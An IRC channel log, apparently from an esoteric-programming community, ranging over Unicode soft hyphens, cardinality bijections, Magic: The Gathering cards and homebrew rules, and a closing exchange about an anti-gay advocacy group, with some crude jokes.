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19:54:57 -!- Gregor has set topic: DISPLAY 'elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http://codu.org/logs/_esoteric/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY.' LINE 1 POSITION 1. STOP RUN..
19:55:07 <Gregor> I was gettin' tired of backwards ^^
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20:09:04 <fizzie> ais523: Personally I always put a zero in anyway. Code reuse and all that. You never know when your snippet is being run in a context where there's something interesting on the stack. (I guess for the topic one could make a concise-is-good argument, though.)
20:14:47 <oerjan> `addquote <Phantom_Hoover> BF derivatives are a cancer running throughout the fringes of the esolang community, and as the fringes vastly outweigh the core, we're screwed.
20:14:51 <HackEgo> 808) <Phantom_Hoover> BF derivatives are a cancer running throughout the fringes of the esolang community, and as the fringes vastly outweigh the core, we're screwed.
20:16:47 <oerjan> <Taneb> Alas, the most famous person that there's rumours I'm related to is me. <-- i vaguely recall i'm supposedly related to some norwegian actor or something, but i'm not entirely sure who it was.
20:17:47 * oerjan wonders if it was Toralv Maurstad, although you won't have heard of him anyhow.
20:18:10 <Taneb> That reminds me, it's time to start The Girl Who Played With Fire
20:18:17 <Taneb> Even though that's Swedish
20:18:31 <oerjan> it's a pretty far off relationship i think.
20:19:24 <oerjan> also there's supposedly some dutch aristocracy back in the centuries
20:19:51 <Taneb> I share a surname with a DJ's stage name...
20:20:38 <oerjan> you also share half a surname with Jean Claude van Damme
20:21:07 <Taneb> A mere tussenvoegsel
20:21:36 <Taneb> http://en.wikipedia.org/wiki/Tussenvoegsel
20:22:21 <Taneb> Not likely to come in handy
20:23:09 <zzo38> How to predict world events by the movement of planets: Step 1. Use computer to compute positions of planets. Step 2. Use a telescope to view those positions in the sky. Step 3. If it doesn't match, then you can predict the end of the world.
20:23:36 <oerjan> also, you have a personal incentive to use fonts with disastrous keming for your future publications
20:24:15 <oerjan> especially the ones with dangerous science in them.
20:24:16 <Taneb> oerjan, and get a doctorate
20:24:53 <Taneb> I mean, if what's the point of being Mister van Doom
20:26:38 <oerjan> zzo38: or maybe you just need to buy a new clock.
20:27:37 <oerjan> now if you see a dark disk of no stars where jupiter was supposed to be, you may start to worry.
20:27:55 <oerjan> especially if the surrounding stars look slightly off-position.
20:28:30 <zzo38> oerjan: Yes, there is the possibility that the clock is incorrect. But if that is the case you can still try different times and look for other clocks and so on. And yes, dark disk and that stuff is another thing you can worry
20:29:14 <oerjan> (note: it doesn't strictly need to be jupiter. jupiter's mass would be far too small for that anyhow.)
20:30:04 <zzo38> But still, there may be other things too that would tell you there is something wrong.
20:30:38 <oerjan> also, i'm totally waiting for that radioastronomy picture of a supermassive black hole which there are apparently at least two teams competing to be the first to produce.
20:30:39 <zzo38> I think you mean black holes? Yes I think Jupiter's mass is too small for that
20:31:01 <fizzie> Something I've wondered at least thrice: how does the JavaScript snippet !(typeof worldHasEnded == "undefined") detect whether the world has ended? I don't think that's in the standard, though I guess it could be a common browser extension. (hasthelargehadroncolliderdestroyedtheworldyet.com uses that.)
20:31:03 <oerjan> unless jupiter had already got frighfully close
20:31:48 <Taneb> Shouldn't worldHasEnded be a boolean?
20:32:34 <fizzie> It's not defined in the code. I think it's assuming it gets defined by the environment only when the world has ended, and it's testing for its existence.
20:32:42 <oerjan> fizzie: i believe it is guaranteed that expression won't return false if the world has ended. unless something else has set that variable, i guess.
20:34:50 <monqy> what if it's being run in space
20:34:58 <monqy> or does space get to end too
20:35:24 <oerjan> i suppose that depends on the exact kind of world ending.
20:36:17 <fizzie> Now I wonder if there is currently any JavaScript running in space.
20:36:45 <oerjan> false vacuum collapse should be particularly reliable
20:37:35 <fizzie> "javascript satellite" is not returning any very promising hits.
20:37:54 <Sgeo> What are the unpromising ones like?
20:38:15 <oerjan> there is at least one person blogging from the iss, i learned the other day
20:38:31 <fizzie> There's some satellite tracking code that you can run in a browser.
20:38:46 <fizzie> And then Google's satellite imagery related things.
20:39:21 <fizzie> And several "this site requires javascript" notes.
20:40:22 <zzo38> Can you track satellites by entering the orbital parameters into the fucticious objects file of Swiss Ephemeris?
20:40:52 <fizzie> Presumably. They're just going around there.
20:41:37 <variable> this is an interesting thought -> http://lambda-the-ultimate.org/node/4444 interactive compilation with some memory of what you said
20:41:40 <zzo38> And then you can plot artificial satellites on a horoscope too.
20:45:18 <oerjan> Gregor: what the heck is that esolang in the topic, i cannot find it on either esolang or codu
20:45:48 <zzo38> Forth codes are generally compiled and executed as you type them in, while BASIC allows you to enter commands interactively as well as enter line numbers to enter instructions into the program which will be saved.
20:47:04 <zzo38> The new GHCi could also do that since they added feature to enter any top-level declaration at the prompt.
20:47:35 <Sgeo> Gregor, no it's not. It's missing all sorts of important stuff, like IDENTIFICATION DIVISION.
20:48:24 <Gregor> Sgeo: It's just a code fragment, not a complete program.
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20:48:34 <Sgeo> Gregor, make it a complete program!
20:48:35 <zzo38> oerjan: Yes, the command : enters compile mode defining a new word, although ] will also enter compile mode and there are various other things
20:49:05 <Sgeo> Although COBOL is indentation sensitive IIRC.
20:49:09 <zzo38> Sgeo: Does a COBOL program require an IDENTIFICATION DIVISION or is that part optional and only the prorgram division is required? I don't know COBOL programming
20:49:23 -!- oerjan has set topic: /fnord/elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http:\/\/codu.org\/logs\/_esoteric\/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY./fnord.
20:49:31 <Sgeo> zzo38, IDENTIFICATION DIVISION is required I think
20:49:46 <Sgeo> I think only ENVIRONMENT DIVISION and ... something else are optional, but I'm not sure.
20:49:58 -!- oerjan has set topic: /fnord/elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http:\\\/\\\/codu.org\\\/logs\\\/_esoteric\\\/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY./fnord.
20:49:59 <zzo38> OK, I didn't know that
20:50:26 <Sgeo> Environment and Data are optional, Identification and Procedure (I think it's called) are not.
21:00:22 <Gregor> Some math professor accidentally reply-all'd to an email from 2004 about an apparently-failed initiative to merge some of the major math-related libraries (incl. CS), and for some reason the CS graduate students' mailing list was on the CC. Now a bunch of people are replying, not realizing that the conversation is eight years out of date.
21:02:55 <fizzie> Oh, SDCC... "int foo; /* file-scope */ ... foo = bar();" => call _bar; ld b, h; ld c, l; ld iy, #_foo; ld 0(iy), c; ld iy, #_foo; ld 1(iy), b .. it's like some sort of "most pessimal assembly" competition. (It could be replaced by "ld (_foo), hl".)
21:03:40 <fizzie> (Well, except that wouldn't clobber bc.)
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21:04:08 <Taneb> I'm making a webpage for me
21:04:20 <fizzie> Taneb: Remember to kern the name right.
21:16:17 <fizzie> There's a relative lack of ligatures in Unicode. They dare to say it's not the job of the character set.
21:17:13 <fizzie> Of the latin alphabet, there's only "ij", "oe", "ff", "fi", "fl", "ffi", "ffl", "ft" and "st".
21:17:21 <oerjan> i recall a conversation once with someone who thought distinguishing upper and lower case letters was going too far
21:17:21 <zzo38> You could use something like METAFONT's ligature/kern programs
21:17:34 <oerjan> that there should just be some modifier for it
21:18:00 <zzo38> I think nearly everything in Unicode is going too gar
21:18:22 <zzo38> oerjan: I think some character sets do have just a modifier for uppercase/lowercase letters, although they are not commonly used
21:19:23 <zzo38> s/too gar/too far/
21:20:32 <fizzie> oerjan: I'd describe that statement as just loſty, high-flown, perhaps even rarefied.
21:20:44 <fizzie> Gah. I mean statement, of course.
21:22:01 <oerjan> i'd describe those lines as having about half the ligatures invisible in putty
21:22:06 <zzo38> When I subscribed to 2600 I noticed they used ligatures in fixed-pitch text. They shouldn't do that. I don't know if they still do; I have not yet resubscribed. Someoneone should notify them not to use ligatures in fixed-pitch text
21:22:34 <fizzie> oerjan: Aw. Well, the surviving ligatures are just "compatibility characters", anyhow.
21:23:21 <zzo38> Computer Modern typewriter style texts do not use ligatures, although the variable-pitch Computer Modern fonts do have ligatures and kerning.
21:41:44 <zzo38> Do you know if it is possible for a custom Haskell preprocessor to figure out which C preprocessor symbols exist?
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22:10:08 <oklopol> briiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
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22:10:15 <pir^2> http://esolangs.org/wiki/Special:Contributions/Lam%C2%ADent <-- WTF
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22:11:06 <pir^2> what control/non-printable character is in there?
22:13:38 <oklopol> (Replacing page with 'cocks')
22:14:52 <Gregor> "Cocks" is not an ANSI control character.
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22:16:28 <oklopol> i guess i just assumed it wad
22:17:08 <pir^2> special characters?
22:17:27 <pir^2> that 194 lools weird O_o
22:17:52 <Gregor> U+00AD SOFT HYPHEN (U+00AD)
22:18:02 <Gregor> 0xC2AD is the UTF-8 representation.
22:18:06 <Gregor> It's like a zero-width space.
22:18:16 <oerjan> Gregor: um surely the 194+173 is a single utf8 char
22:18:38 <zzo38> Someone with Android tried the Android gopher client and found a mistake in it. I tried to send message to them but it failed
22:19:19 <oerjan> oh right, 194 _is_ the first prefix
22:19:51 <oerjan> wtf is fungot doing there
22:19:51 <fungot> oerjan: is it important whether a _constant_ is signed or unsigned btw?
22:19:57 <fungot> ,[>[->+10<]>[-<+>]<2-48[>+<-],]>.
22:20:15 <oerjan> oh right, it only handles a single char
22:20:29 <Gregor> <oerjan> Gregor: um surely the 194+173 is a single utf8 char // yes, 0xC2AD is the UTF-8 representation of U+00AD.
22:21:30 <ais523> ­ looks like a zero-width space except at the end of a line
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22:23:46 <oklopol> *snoring* "i hear snoring. i shall whistle." *whistle* "the snoring has stopped."
22:30:38 <oklopol> (imagine this articulated excruciatingly precisely)
22:32:10 <oerjan> the moomins animations are made in japan, aren't they.
22:32:33 <oklopol> there are three japanese episodes that were apparently too scary for finland
22:33:47 <oklopol> (i found the finnish ones scarier than jaws when i was 6 or something)
22:34:36 <oklopol> well not all of them are scary ofc
22:35:13 <oklopol> there are also finnish moomin comics but those are mainly about the moomins drinking and having horrible hangovers
22:36:15 <oklopol> "how can one be thirsty after drinking all night!" -- moominpappa
22:36:23 <oerjan> NANANANANANANANA I CAN'T HEAR YOU
22:36:43 <Taneb> Oh god I remember the moomins
22:37:44 <Taneb> I was more of an El Nombre fan
22:37:48 <oklopol> oerjan: did you know that tove jansson originally just wanted to invent the scariest creature ever
22:37:55 <oklopol> and that became the moomin
22:41:28 <oklopol> episode numbeer on: moomin turns into a horrible red creature and no one recognizes him.
22:42:00 <oklopol> "dad?" "i am not your father."
22:42:11 <zzo38> Then wear a sign so that you can be recognized?
22:42:51 <oklopol> horrible organ music starts playing, moonin starts crying and beating the mirror with his fists
22:43:37 <zzo38> Then they need to hire better organ music musicians
22:43:50 <oklopol> oh not that kind of horrible .
22:46:41 <oklopol> tonight, and 18yo girls wanted me to explain cantor diagonalization to her.
22:47:14 <oklopol> she didn't believe there can be multiple infinities.
22:48:13 <zzo38> That happen to me too, a few people have not believe there can be multiple infinities, so I showed them how
22:48:31 <oklopol> and i was like so i study these zero-dimensional space and she was like omg that's so cool.
22:48:56 <oklopol> well sure but were they hot
22:51:23 <oklopol> although she was more interested in 2^N and N^N having the same cardinality.
22:53:40 <Taneb> Cantor gets all the chicks
22:53:51 <oklopol> i couldn't come up with a nice concrete bijection, so i did this in a roundabout way, anyone have one in mind?
22:58:45 <oerjan> hm i have one from N^N to [0,1), i think.
22:59:16 <oklopol> oh err no i have one between N^N and 2^N except all zeroes
22:59:25 <oklopol> wait. actually it's the same as yours
22:59:43 <oklopol> i guess things like 1^n0 will always give you something like that
23:00:01 <oerjan> just .1^a_0 0 1^a_1 0 1^a_2 ...
23:00:06 <oerjan> *just .1^{a_0} 0 1^{a_1} 0 1^{a_2} ...
23:00:23 <oerjan> it cannot give something ending in infinite 1's
23:00:50 <oklopol> but i guess codes cannot give you this
23:01:10 <oklopol> i didn't bother to make sense
23:01:11 <oerjan> by 1^a i mean a 1 digits
23:01:35 <oklopol> codes cannot give you the bijection i was asking
23:01:48 <oklopol> i just have this weird feeling that compactness makes that hard
23:01:55 <oerjan> i have no idea what you mean by "codes", here.
23:02:06 <oklopol> hmm, perhaps because that would be a continuous bijection from N^N to 2^N
23:02:23 <oklopol> i mean n is replaced by 1^n0 in its place and you concatenate into sequence
23:02:53 <oklopol> codes mean that you have a language and you stick its words together to form longer words and you can always decode.
23:07:38 <oerjan> from 2^N to [0,1), you just use binary except that you need to somehow distinguish ...011111111... form ...10000000...
23:08:32 <oerjan> which you could do by handling that slightly differently, say by prepending 0 to the whole number in one case and 1 in the other
23:09:55 <oerjan> that might _still_ not distinguish .0111111... from .100000... when it's at the very start
23:10:50 <oklopol> yeah dunno, in any case once i realized codes prolly won't work i gave up.
23:11:09 <oerjan> it's all a matter of fixing up a countable subset, anyhow.
23:11:31 <oklopol> can you have a continuous bijection from N^N to 2^N?
23:11:43 <oklopol> a code would in fact be a homeomorphism so that won't work
23:12:25 <oklopol> or at least a prefix code would. dunno about crazy scientist codes.
23:12:45 <oerjan> why wouldn't there be a homeomorphism, hm
23:13:08 <oklopol> it's very different from 2^N
23:13:33 <oerjan> er it's product topology of discrete N's, no?
23:14:15 <oklopol> it's a baire space called the baire space
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23:20:22 <zzo38> O no the version of Haskell that I have does not include the dropWhileEnd function
23:20:37 <zzo38> Therefore I can include it directly in my program instead
23:21:43 <oklopol> i asked #math about the continuous bijection
23:22:14 <oklopol> they asked me what the topology of N^N was. "the usual one" was apparently meaningless.
23:23:30 <zzo38> Why aren't you allowed to hide things that a module does not export? That is one of my suggestion for a Haskell extension, which allows you to specify "hiding" on imports with things that are not exported by that module if you specify -XHidingNonexistent
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23:25:35 <Sgeo> "a blue card with an urza's block symbol? screw this Im not bothering to read it. its 5 stars, its broken, theres a zillion combos and it makes kids cry, right? im getting one. :)"
23:25:45 <Sgeo> ^^some comment on Donate
23:26:26 <zzo38> Donate? I know that card.
23:26:46 <ais523> it's reasonably infamous
23:26:47 <Sgeo> What's so infamous about Urza?
23:27:01 <ais523> Illusions of Grandeur is the /most/ infamous combo with it
23:27:02 <zzo38> So, yes probably you can make many combos with it; at least, just from what I know about the text on the card itself; I read nothing else about it.
23:27:05 <ais523> I can't remember which was banned
23:27:28 <pikhq_> Sgeo: This is the set that gave us a land that gave you one mana for each artifact you control.
23:27:30 <zzo38> ais523: O, yes; I have not thought of that.
23:27:47 <pikhq_> (or creature or enchantment... It was a set of 3)
23:28:06 <zzo38> But there were some artifacts costing 0
23:28:31 <Sgeo> There was a Friday Night Magic thing at my school ... on Friday
23:28:53 <zzo38> Sgeo: What formats did they play?
23:28:54 <Sgeo> We did a draft, I chose blue-green cards and someone helped me pare it down, he said to go monogreen so I did
23:28:59 <pikhq_> zzo38: It got upgraded from "broken" to "BROKEN" by Mirrodin, I'm sure.
23:29:11 <ais523> pikhq_: Mirrodin was broken enough by itself
23:29:21 <Sgeo> Um, best two of 3 against .. persons
23:29:33 <Sgeo> I tended to play slowly, and time was at a premium :/
23:29:34 <pikhq_> Yup. Makes sense that it made the previous utterly broken set even worse. :)
23:29:46 <ais523> Arcbound Ravager is a card that, where it's legal, people either play, or dedicate half their deck to beating
23:29:49 <zzo38> I always prefer Limited format
23:29:58 <zzo38> And, in Limited format, nothing is banned.
23:30:13 <pikhq_> Fucking Arcbound Ravager.
23:30:21 <zzo38> (Except for cards you bring in which aren't the ones you drafted)
23:30:38 <ais523> hmm, I actually managed to pull off Coalition Victory wins twice in a Limited tournament
23:30:43 <pikhq_> The fuck where they *thinking*
23:30:49 <ais523> the first time was hilarious, five monocoloured creatures, five different basic lands
23:31:02 <ais523> there were general wtfs from around the table
23:31:17 * Sgeo is not quite following this conversation anymore
23:31:31 <Sgeo> Oh, yeah, I saw Coalition Victory
23:31:45 <pikhq_> Sgeo: magiccards.info will help
23:31:47 <Sgeo> ais523, yes, but I'm not all that familiar with every single card
23:31:47 <ais523> Sgeo: it's very much a Constructed card, people don't expect it in Limited
23:31:53 <ais523> Sgeo: you can look them up
23:32:01 <ais523> Gatherer is the main resource, I think
23:32:09 <ais523> gatherer.wizards.com IIRC
23:32:17 <ais523> it's the "official" one
23:32:20 <pikhq_> The one's we're talking about are ones that most people who've been playing for a while will be aware of.
23:33:02 <zzo38> Probably most the problem is that Constructed tournaments are played with those cards, rather than the cards themselves; combos are more difficult to make in Limited so they require both more skill and more luck in order to make any combo at all
23:33:07 <ais523> yep, when talking about the most broken cards of all time, most people will have heard of them
23:33:12 <ais523> (Necropotence, anyone?)
23:33:35 <zzo38> I know the card Necropotence.
23:34:02 <Sgeo> What's good about Necropotence?
23:34:12 <ais523> Sgeo: pay life, get cards
23:34:16 <Sgeo> I mean, maybe against a milling deck, but... hmm
23:34:28 <pikhq_> It's *insanely* good card draw.
23:34:40 <zzo38> Of course is too bad if you use it too much; you will run out of cards or life or both
23:34:45 <ais523> it's one of only eight cards that's restricted in Vintage
23:34:55 <ais523> and five of them form a cycle
23:35:07 <ais523> zzo38: pay 19 life, draw 19 cards, if you have a combo deck you've probably won
23:35:07 <zzo38> Do you mean, Mox Ruby, Mox Emerald, etc?
23:35:21 <pikhq_> And seven of them cost several hundred each.
23:35:30 <ais523> pikhq_: which one doesn't?
23:35:32 <Sgeo> ...what's the eight cost?
23:35:47 <pikhq_> ais523: Necropotence. It was printed recently.
23:35:57 <pikhq_> (From The Vault: Exiled)
23:36:04 <Sgeo> Wait, wikipedia says Power Nine
23:36:09 <ais523> oh, another one's been banned?
23:36:12 <zzo38> ais523: Yes, that is a good point; still, you might lose especially depending on turn number and opponent's cards
23:36:18 <ais523> so, what are the three not yet mentioned?
23:36:20 <pikhq_> Also, it's more than 8 cards restricted in Vintage...
23:36:37 <ais523> pikhq_: are you confusing it with Legacy? or am I?
23:36:56 <pikhq_> The entire Power 9 is banned in Legacy.
23:37:20 <pikhq_> Legacy doesn't have a restricted list.
23:37:24 <ais523> and restricted in Vintage, right?
23:37:29 <ais523> so I did get it right, I think
23:37:34 <zzo38> I don't like Constructed anyways, and in Limited nothing is restricted/banned, with the exception of ante and physical dexterity cards.
23:37:34 <zzo38> However, I want to play Limited+Ante.
23:37:34 <zzo38> Where the cards you drafted are put for ante
23:38:17 <pikhq_> Also, 43 Vintage restricted cards.
23:38:28 <zzo38> I think, Alpha cards are also banned in all formats (including Vintage) unless you have card sleeves.
23:38:28 <Gregor> NERRRRRRRRRRRRRRRRRRRRRDS
23:38:37 <pikhq_> zzo38: Yes, due to being marked.
23:38:51 <ais523> I stopped playing because I didn't like /Lorwyn/, but I played it quite a bit before then
23:39:18 * Sgeo notes Mox Lotus (yes, I know it can't be played in most formats)
23:39:33 <Sgeo> Are there any somewhat easy ways to get the 15 mana?
23:39:54 <ais523> Sgeo: if you badly need 15 mana, you can probably get it, but you're going to need to devote your deck to it
23:40:32 <pikhq_> ais523: Mox Lotus provides infinite mana, so... :)
23:41:05 <pikhq_> (literally; it taps for {infinity})
23:41:20 <ais523> that's the un-set mana-producer, isn't it?
23:41:23 <zzo38> I dislike many of the rules of the game; so, make up a new game with similar but different rules, different cards, and no Constructed formats.
23:41:53 <pikhq_> zzo38: A friend and I have been hashing out ideas for a Magic-alike for quite a while now.
23:42:28 <ais523> I know I had a really good /Time Spiral/ block combo deck that could beat many of the other good decks around then
23:42:33 <ais523> and quite possibly newer good decks too
23:42:39 <zzo38> pikhq_: I have too; I will tell my ideas. We can make up stuff in this channel and so on.
23:42:44 <ais523> it was meant for Standard, but nearly all the cards came from the same block
23:42:57 <pikhq_> zzo38: Among other things: all spells have power/toughness.
23:43:04 <pikhq_> One doesn't counter spells, one deals damage to them.
23:43:10 <ais523> pikhq_: sounds vaguely like the Normish card game
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23:43:13 <pikhq_> Because, frankly, counterspell is utterly ridiculous.
23:43:13 <ais523> that never really got started
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23:43:43 <zzo38> pikhq_: That wasn't my idea, but you can do that. I had different ideas (where there still is counterspells).
23:44:23 <pikhq_> Template for Lightning Bolt now reads: "Lighting Bolt. {R}. Sorcery. Flash. Lightning Bolt strikes target creature or player. 3/1"
23:44:53 <zzo38> * No Constructed formats. * No state-based effect telling you that a aura which is also a creature is discarded. * No rule that Lands are not played as other card types (it is unnecessary; they can't be played as other types without a mana cost).
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23:45:18 <zzo38> pikhq_: Another of my ideas was that instead of damage to "target creature or player" it targets "target permanent or player".
23:45:19 <ais523> zzo38: what if they get a mana cost from somewhere?
23:45:38 <zzo38> ais523: Then they can be played as other types. It is a different game!
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23:45:50 <pikhq_> zzo38: I don't much like that as the typical burn spell.
23:46:02 <pikhq_> But certainly "Strike target permanent." is neat.
23:46:26 <ais523> pikhq_: but then you could use lightning bolt to blow up auras
23:46:29 <ais523> that's a pretty non-red thing to do
23:46:31 <zzo38> pikhq_: But, also in my suggestions, even though it says "target permanent or player", most permanents are unaffected by damage.
23:46:40 <pikhq_> ais523: There's a reason I say "not as the typical burn spell"
23:46:54 <Taneb> Right, my webpage is now complete up to MIBBLLII
23:47:04 <Taneb> I just need to add Luigi and Brook
23:47:12 <ais523> I'm not sure if I can think of an effect that hits all of creatures, players, and auras anywhere in Magic
23:47:25 <ais523> or, indeed, just both players and auras
23:47:27 <pikhq_> {B}{B}{B} Sorcery. Strike target permanent. 1/1
23:47:46 <Taneb> Anyone here play Sopio?
23:47:51 <ais523> pikhq_: would lands have 1 toughness?
23:48:01 <zzo38> pikhq_: Your ideas sem good but is different game than mine
23:48:21 <pikhq_> Sgeo: I invented that as a scheme for saying "This deals damage equal to its power"
23:48:42 <pikhq_> ais523: Mmmm, I'd be inclined to give basic lands higher toughness, and more powerful lands lower toughness.
23:48:47 <zzo38> * Mana burn included. * Use TeXnicard, and possibly other program make open source rule enforcement programs. * Drawing a card when you are unable is an immediate loss, not a state-based effect. * Zones are now named as follows: hand zone, draw zone, discard zone, stack zone, in-play zone, exile zone.
23:48:55 <Sgeo> pikhq_, oh, you're talking about your own game?
23:49:42 <pikhq_> ais523: It feels like the difficulty of getting rid of a mana source should be inversely proportional to how good it is.
23:49:50 <Taneb> http://www.vandoorn.talktalk.net/esoteric/
23:50:47 <pikhq_> Perhaps give basic lands 2 or 3 toughness. And 0 power, of course.
23:52:24 <zzo38> * Subtypes no longer depend on types (and there is no Tribal type). * Planeswalker are different, now count as players and permanents like my Playercard idea (also change the name to not confuse with "Plainswalk"). * Attack/block/combat damage is assigned and you can do stuff in between, but nonexistent sources never deal damage (even non-combat damage).
23:53:09 <ais523> zzo38: "Plainswalk" is very rarely used just because it sounds too much like "planeswalker"
23:53:43 <pikhq_> Clearly WotC should print Nicol Bolas, Plains.
23:53:59 <pikhq_> And a card with "Nicol Bolas, Plainswalk"
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23:55:26 <zzo38> * Conceding subgames is not allowed; only the main game can be conceded (although you are still allowed to do so during a subgame). * Every object has an initial state or a lack of it. * No state-based effect causing tokens out of play ceasing to exist (it becomes unnecessary; read ahead).
23:55:30 <Sgeo> "(Although it was originally a joke, the mechanic was recycled completely seriously in the Time Travel-heavy Time Spiral block, albeit not for creatures.)"
23:55:34 <Sgeo> That sounds interesting
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23:56:53 <zzo38> * Objects moving between zones cease to exist (except for stack->play, play->phaseout, phaseout->play); a new object is created in the destination zone from the initial state of the old object. If it had none, nothing is created. * Copies of spells on the stack are also tokens.
23:57:37 <pikhq_> There isn't a phased-out zone anymore.
23:58:03 <pikhq_> And objects moving between zones do effectively cease to exist, and you create a new object with the same state.
23:58:34 <pikhq_> (with a few exceptions for particular, very odd things that only happen when you're playing with cards from Alpha)
23:59:14 <zzo38> I know that, but I am doing a entirely different game, with entirely different cards and so on. So, it does use some old rules.
23:59:20 <zzo38> And some new rules. But not all.
23:59:50 <pikhq_> Also, you realise that the current phasing rules are the first ones that have been simple enough to fit as reminder text, right? :)
00:00:03 <zzo38> pikhq_: Yes; but you must know rule about state-based effect causing tokens to cease to exist; in my rules, a new object is simply not created because the old object had no initial state.
00:01:44 -!- oerjan has set topic: /fnord/Friendship Is Magic: The Gathering | elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http:\\\/\\\/codu.org\\\/logs\\\/_esoteric\\\/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY./fnord.
00:01:44 <Sgeo> kallisti, update
00:03:34 <zzo38> * You can concede any time except in the middle of an atomic ante effect (I am not sure if the Magic: the Gathering rules mention atomic ante effects). The opponent may optionally continue in order to prove they have overmate.
00:05:05 <zzo38> * Even though cards cannot be bought/sold, each card has a cash value. These values are used to partially determine your score in a tournament.
00:05:09 <Taneb> I've made my page slightly fancier
00:05:14 <oerjan> that phrase has _way_ too many google hits.
00:07:08 <oerjan> ah i thought the google estimate might be off, it gave up at 103 hits
00:07:56 <zzo38> * You can still concede to prevent additional anteing and/or doubling (as in backgammon).
00:08:36 <oerjan> and just before, it estimated more than 3 million.
00:09:08 <Taneb> Everyone look at my site and satisfy my need for acknowledgement!
00:09:14 <Taneb> http://www.vandoorn.talktalk.net/esoteric/
00:09:58 <zzo38> I see nothing other than a heading, a single sentence with a link, and four names of esolangs. You need to add more, isn't it?
00:10:14 -!- zzo38 has quit (Quit: O no, I go for walk now...).
00:10:37 <Taneb> Click the headings
00:10:55 <Gregor> Taneb: You should make them look clickable.
00:11:19 <Taneb> I'll work on that after I have slept
00:11:23 <Taneb> It's gotten to tomorrow here
00:11:27 <oerjan> ah for once IE greatly enhances my browsing experience
00:11:43 <oerjan> (by showing everything without clicking.)
00:12:11 <Gregor> http://www.youtube.com/watch?v=rBgMeunuviE <-- behold and be amazed
00:12:58 <oerjan> in fact it seems to have ignored style completely.
00:13:59 -!- Taneb has quit (Quit: goodnight).
00:18:16 <Sgeo> "You know those useless snow-covered lands from Ice Age? Not so useless as of Coldsnap — 11 years later!"
00:20:48 <pikhq_> They weren't even that useless in Ice Age.
00:20:59 <pikhq_> They've just got much more use after they finished the block.
00:24:59 <ais523> everyone but me hates coldsnap, though
00:25:04 <ais523> besides, coldsnap is part of ice age block
00:25:09 <ais523> and homelands doesn't exist
00:27:37 <Sgeo> WTF http://gatherer.wizards.com/Pages/Card/Details.aspx?multiverseid=980
00:29:53 <ais523> Sgeo: that one was, umm, rather pointless
00:29:57 <ais523> the mechanic's only been used once every again
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00:30:05 <ais523> and it was in an un-set
00:30:14 -!- pikhq_ has quit (Ping timeout: 248 seconds).
00:30:19 <Sgeo> Sounds lengthy
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00:45:14 <Sgeo> With planeswalkers, is it more typical to get their loyalties to 1 + its .. is ultimate the right word, so that it can be used again, or just get it to ultimate and let it die?
00:48:07 <oerjan> ais523: you know about wikipedia customs - would it be a good idea if i simply deleted the code examples from http://en.wikipedia.org/wiki/Look-and-say_sequence ? they seem to be starting to breed lately.
00:49:01 <ais523> you could transwiki them to Rosetta Code if the licenses match, I guess
00:49:13 <ais523> no idea what would happen if you simply deleted them
00:49:53 <oerjan> well i just have a vague impression that isn't place for it.
00:50:29 <oerjan> (i also looked in http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Computer_science/Manual_of_style_(computer_science))
00:51:33 <Jafet> Just delete it; if it's nobody's pet, then no one will add it back
00:51:36 <oerjan> an alternative would be simply to remove the javascript one that was added today.
00:51:56 <oerjan> well, there was this guy cleaning up the python version before
00:53:29 <oerjan> well there is a point in the manual about not having multiple versions
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00:56:24 <oerjan> actually it seems i'll be doing nothing.
00:56:47 <zzo38> Taneb: You need to make it fully expanded when JavaScript disabled.
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00:58:18 <Sgeo> "You may think that the “lucky charms” (Crystal Rod, Iron Star, Ivory Cup, Throne of Bone, and Wooden Sphere) are bad, but our testing shows that most beginners are drawn to them and only learn over time that they are not as good as they seem (usually because a more advanced player tells them). That is why we keep including them in the basic set."
00:58:24 <Sgeo> Why are the lucky charms bad?
01:09:10 <Sgeo> If creatures without flying can't attack you (with Form of the Dragon), and Green tends not to have flying...
01:09:23 <Sgeo> Is Form of the Dragon better against Green than against other colors?
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01:28:40 <pikhq> http://www.familyresearchinst.org/ So, my little sister seems to think that these guys do good science.
01:28:45 <ais523> Sgeo: quite possibly; Green generally has decent flying defence, but not flying offense
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01:28:51 <ais523> as in, reach is quite a common ability in green
01:29:14 <pikhq> I am *so* not coming out until I move.
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01:32:59 <pikhq_> I'm bi and atheist. So, yes. Twice over.
01:33:23 <oklopol> oh i didn't open the page so i figured i just didn't get what you meant
01:33:52 <pikhq_> They think that homosexuality is EVIL. And that they have science to prove it.
01:34:04 <pikhq_> The only journal they were published in isn't peer-reviewed.
01:34:25 <oklopol> yeah i gathered that from "the 'right' to practise homosexuality"
01:34:43 <pikhq_> Also, their only 'scientist', a doctor of psychology, was removed from the APA for ethics violations.
01:35:29 <oklopol> what if your sisters read #esoteric logs
01:35:39 <oklopol> sister reads, although that was accidentally grammatical
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01:36:06 <oklopol> i would've never imagined you bi for some reason
01:38:23 <oklopol> hmm, perhaps that is because i've never associated you with anything remotely sexual
01:39:14 <oklopol> (unlike most people here who i keep thinking about sexually)
01:39:24 <pikhq_> Ah. Yeah, I don't usually talk about sexual things.
01:39:47 <oklopol> you have taken part in such conversations, but you are then even more academic than usual.
01:40:09 <pikhq_> Part of that is the result of a fundamentalist Christian upbringing.
01:40:29 <pikhq_> Which ~/media/porn loves contradicting.
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01:42:11 <oklopol> well upbringing doesn't always tell you everything, my parents always encouraged me to go my own way and i'm still very careful what i say.
01:42:14 <pikhq> Fuck my Internet with something rusty.
01:42:29 <oklopol> from the color of my penis
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01:45:46 <oklopol> when i was something like 5 my father once told me he would love me no matter what i chose to do with my life. i asked him what if i became a serial killer. he said he'd still love me. (i added some emotion to make this more accessible to non-finns.)
01:48:52 <oklopol> pikhq: did you read any of their articles?
01:51:17 -!- Jafet has quit (Quit: Leaving.).
01:52:08 <pikhq> It's a couple of crackpots.
01:52:11 <oklopol> can you explain their arguments in layman's terms
01:52:20 <oklopol> and what's their definition of evil
01:52:36 <oklopol> does it assume the christian god
01:52:39 <pikhq> Their definition? Judeo-Christian God says "no".
